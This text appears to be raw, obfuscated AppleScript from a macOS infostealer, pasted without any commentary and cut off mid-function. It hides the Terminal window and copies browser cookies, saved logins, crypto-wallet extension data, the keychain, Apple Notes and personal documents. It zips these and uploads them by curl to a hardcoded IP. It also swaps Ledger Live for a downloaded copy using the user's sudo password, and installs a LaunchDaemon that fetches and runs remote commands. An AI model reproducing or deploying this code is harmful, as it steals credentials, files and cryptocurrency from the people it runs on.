\\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType | awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" | sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return'"

Process not Found

osascript -e "tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with 